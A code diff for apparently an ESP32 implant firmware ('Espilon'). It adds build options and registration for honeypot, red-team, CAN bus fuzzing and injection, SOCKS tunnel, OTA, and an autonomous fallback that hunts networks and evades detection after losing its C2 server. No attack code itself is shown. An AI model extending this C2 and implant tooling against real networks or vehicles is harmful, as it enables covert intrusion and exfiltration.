#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "command.h"
#include "utils.h"
#define TAG "SYSTEM"
@ -149,6 +148,26 @@ static int cmd_system_info(
first = 0;
#endif
#endif
#ifdef CONFIG_MODULE_HONEYPOT
len += snprintf(buf + len, sizeof(buf) - len, "%shoneypot", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_MODULE_CANBUS
len += snprintf(buf + len, sizeof(buf) - len, "%scanbus", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_MODULE_FALLBACK
len += snprintf(buf + len, sizeof(buf) - len, "%sfallback", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_MODULE_REDTEAM
len += snprintf(buf + len, sizeof(buf) - len, "%sredteam", first ? "" : ",");
first = 0;
#endif
#ifdef CONFIG_ESPILON_OTA_ENABLED
len += snprintf(buf + len, sizeof(buf) - len, "%sota", first ? "" : ",");
first = 0;
#endif
if (first) {
len += snprintf(buf + len, sizeof(buf) - len, "none");

View File

@ -1,3 +1,3 @@
idf_component_register(SRCS "bot-lwip.c"
INCLUDE_DIRS "."
REQUIRES esp_wifi nvs_flash core mod_fakeAP mod_network mod_recon mod_system command)
REQUIRES esp_wifi nvs_flash core mod_fakeAP mod_network mod_recon mod_system mod_honeypot mod_ota mod_fallback mod_redteam mod_canbus)

View File

@ -40,12 +40,36 @@ config WIFI_PASS
endmenu
menu "GPRS Settings"
depends on NETWORK_GPRS
depends on NETWORK_GPRS || FB_GPRS_FALLBACK
config GPRS_APN
string "APN"
default "sl2sfr"
config GPRS_TXD_PIN
int "UART TX GPIO"
default 27
config GPRS_RXD_PIN
int "UART RX GPIO"
default 26
config GPRS_PWR_KEY
int "Modem PWRKEY GPIO"
default 4
config GPRS_PWR_EN
int "Modem Power Enable GPIO"
default 23
config GPRS_RESET_PIN
int "Modem Reset GPIO"
default 5
config GPRS_LED_GPIO
int "Status LED GPIO"
default 13
endmenu
endmenu
@ -66,6 +90,28 @@ config SERVER_PORT
endmenu
################################################
# Async Workers
################################################
menu "Async Workers"
config ASYNC_WORKER_COUNT
int "Number of async command workers"
default 2
range 1 4
help
Number of FreeRTOS tasks that process async commands
in parallel on Core 1.
config ASYNC_QUEUE_DEPTH
int "Async command queue depth"
default 8
range 4 32
help
Maximum number of async commands waiting to be processed.
endmenu
################################################
# Modules (Command Providers)
################################################
@ -75,7 +121,7 @@ config MODULE_NETWORK
bool "Network Commands"
default y
help
ping, arp_scan, proxy, dos, etc.
ping, arp_scan, dos, tunnel proxy, etc.
config MODULE_RECON
bool "Recon Commands"
@ -90,6 +136,245 @@ config MODULE_FAKEAP
help
Fake AP, captive portal, sniffer.
config MODULE_HONEYPOT
bool "Honeypot Module"
default n
help
TCP honeypot services (SSH, Telnet, HTTP, FTP),
WiFi monitor, network anomaly detector.
config MODULE_FALLBACK
bool "Fallback - Resilient Connectivity"
default n
help
Autonomous network recovery module. Auto-triggers on C2 loss.
WiFi mode: hunts for networks, tries known WiFi, open WiFi, captive bypass.
GPRS mode: restarts modem, tries WiFi fallback if enabled.
Fully autonomous, no C2 commands needed.
config MODULE_REDTEAM
bool "Red Team - Offensive Operations"
default n
depends on NETWORK_WIFI
help
Offensive red team capabilities: WiFi attacks,
network MITM, covert exfiltration, implant management.
config MODULE_CANBUS
bool "CAN Bus Module (MCP2515)"
default n
help
CAN bus via MCP2515 SPI controller: sniff, inject, UDS, OBD-II, fuzzing.
Requires MCP2515 module with TJA1050 transceiver.
config MODULE_TUNNEL
bool "SOCKS5 Tunnel Proxy"
default n
depends on MODULE_NETWORK
help
Multiplexed SOCKS5 tunnel proxy. Connects to C3PO tunnel
server and allows concurrent TCP connections through the
ESP32 to the target network. Use with proxychains/nmap/curl.
config ESPILON_OTA_ENABLED
bool "OTA Updates"
default y
help
Enable over-the-air firmware updates.
config ESPILON_OTA_ALLOW_HTTP
bool "Allow OTA over plain HTTP (insecure)"
default n
depends on ESPILON_OTA_ENABLED
help
Allow firmware downloads over HTTP in addition to HTTPS.
WARNING: No TLS verification, use only on trusted networks.
endmenu
################################################
# Tunnel Module Settings
################################################
menu "Tunnel Settings"
depends on MODULE_TUNNEL
config TUNNEL_MAX_CHANNELS
int "Maximum concurrent channels"
default 8
range 4 16
help
Maximum number of simultaneous TCP connections through
the tunnel. Each channel uses ~1.2 KB of lwIP memory.
config TUNNEL_FRAME_MAX
int "Maximum frame data size"
default 4096
range 1024 8192
help
Maximum payload per frame. Larger = better throughput,
but uses more stack/heap memory.
config TUNNEL_ENCRYPT
bool "Per-frame AEAD encryption"
default n
help
Encrypt each tunnel frame with ChaCha20-Poly1305.
Adds 28 bytes overhead per frame. Recommended when
the tunnel crosses untrusted networks.
config TUNNEL_TASK_STACK
int "Tunnel task stack size"
default 6144
range 4096 8192
endmenu
################################################
# CAN Bus Module Settings
################################################
menu "CAN Bus Settings"
depends on MODULE_CANBUS
config CANBUS_SPI_HOST
int "SPI host (2=HSPI, 3=VSPI)"
default 3
range 2 3
config CANBUS_PIN_MOSI
int "SPI MOSI GPIO"
default 23
config CANBUS_PIN_MISO
int "SPI MISO GPIO"
default 19
config CANBUS_PIN_SCK
int "SPI SCK GPIO"
default 18
config CANBUS_PIN_CS
int "SPI CS (chip select) GPIO"
default 5
config CANBUS_PIN_INT
int "MCP2515 INT (interrupt) GPIO"
default 4
config CANBUS_OSC_MHZ
int "MCP2515 oscillator frequency (MHz)"
default 8
help
Most cheap modules use 8MHz. Some use 16MHz.
Check the crystal on your module.
config CANBUS_DEFAULT_BITRATE
int "Default CAN bitrate (bps)"
default 500000
help
Standard automotive: 500000. Trucks (J1939): 250000.
config CANBUS_SPI_CLOCK_HZ
int "SPI clock speed (Hz)"
default 10000000
help
MCP2515 supports up to 10MHz SPI clock.
config CANBUS_RECORD_BUFFER
int "Record buffer size (frames)"
default 512
range 64 2048
config CANBUS_ISO_TP
bool "Enable ISO-TP transport layer"
default y
help
Required for UDS and OBD-II (multi-frame messages > 8 bytes).
config CANBUS_UDS
bool "Enable UDS diagnostic services"
default y
depends on CANBUS_ISO_TP
config CANBUS_OBD
bool "Enable OBD-II PID decoder"
default y
depends on CANBUS_ISO_TP
config CANBUS_FUZZ
bool "Enable CAN fuzzing engine"
default y
endmenu
################################################
# Fallback Module Settings
################################################
menu "Fallback Module Settings"
depends on MODULE_FALLBACK
config FB_AUTO_HUNT
bool "Auto-activate on C2 connection loss"
default y
help
Start C2 failover after FB_TCP_FAIL_THRESHOLD consecutive
TCP failures, then trigger full network hunt if all C2
fallback addresses are unreachable.
config FB_STEALTH
bool "Enable stealth features (MAC random, low TX, passive scan)"
default y
config FB_MAX_KNOWN_NETWORKS
int "Max known networks in NVS"
default 16
range 4 32
config FB_MAX_C2_FALLBACKS
int "Max C2 fallback addresses"
default 4
range 1 8
config FB_TCP_FAIL_THRESHOLD
int "TCP failures before C2 failover"
default 10
range 3 30
help
Consecutive TCP connect failures before trying C2 fallback
addresses, then triggering full network hunt.
config FB_WIFI_FAIL_THRESHOLD
int "WiFi reconnect failures before hunt"
default 10
range 3 20
depends on NETWORK_WIFI
help
WiFi reconnect failures in the event handler before
auto-triggering the fallback hunt.
config FB_GPRS_FALLBACK
bool "GPRS fallback (cellular backup for WiFi mode)"
default n
depends on NETWORK_WIFI
help
Last resort when all WiFi strategies fail: init SIM800
modem and connect to C2 via GPRS.
config FB_WIFI_FALLBACK
bool "WiFi fallback (WiFi backup for GPRS mode)"
default n
depends on NETWORK_GPRS
help
When GPRS modem is dead, init WiFi and hunt for networks.
config FB_GPRS_FAIL_THRESHOLD
int "GPRS modem failures before WiFi fallback"
default 5
range 2 10
depends on FB_WIFI_FALLBACK
help
Consecutive GPRS connection failures before triggering
WiFi fallback hunt.
endmenu
################################################
@ -136,6 +421,15 @@ config CRYPTO_FCTRY_KEY
help
NVS key name for the 32-byte master key blob in the factory partition.
config C2_VERIFY_SERVER
bool "Verify C2 server identity on connect"
default y
depends on NETWORK_WIFI
help
Performs a challenge-response handshake after TCP connect
to verify the server possesses the shared encryption key.
Protects against MITM attacks without requiring TLS.
endmenu
################################################

View File

@ -9,7 +9,6 @@
#include "freertos/task.h"
#include "utils.h"
#include "command.h"
#include "cmd_system.h"
/* Module headers */
@ -25,6 +24,26 @@
#include "cmd_recon.h"
#endif
#ifdef CONFIG_MODULE_HONEYPOT
#include "cmd_honeypot.h"
#endif
#ifdef CONFIG_MODULE_FALLBACK
#include "cmd_fallback.h"
#endif
#ifdef CONFIG_MODULE_REDTEAM
#include "cmd_redteam.h"
#endif
#ifdef CONFIG_MODULE_CANBUS
#include "cmd_canbus.h"
#endif
#ifdef CONFIG_ESPILON_OTA_ENABLED
#include "cmd_ota.h"
#endif
static const char *TAG = "MAIN";
static esp_log_level_t espilon_log_level_from_kconfig(void)
@ -105,6 +124,31 @@ void app_main(void)
#endif
#endif
#ifdef CONFIG_MODULE_HONEYPOT
mod_honeypot_register_commands();
ESPILON_LOGI_PURPLE(TAG, "Honeypot module loaded");
#endif
#ifdef CONFIG_MODULE_FALLBACK
mod_fallback_register_commands();
ESPILON_LOGI_PURPLE(TAG, "Fallback module loaded");
#endif
#ifdef CONFIG_MODULE_REDTEAM
mod_redteam_register_commands();
ESPILON_LOGI_PURPLE(TAG, "Red Team module loaded");
#endif
#ifdef CONFIG_MODULE_CANBUS
mod_canbus_register_commands();
ESPILON_LOGI_PURPLE(TAG, "CAN Bus module loaded");
#endif
#ifdef CONFIG_ESPILON_OTA_ENABLED
mod_ota_register_commands();
ESPILON_LOGI_PURPLE(TAG, "OTA module loaded");
#endif
command_log_registry_summary();
/* =====================================================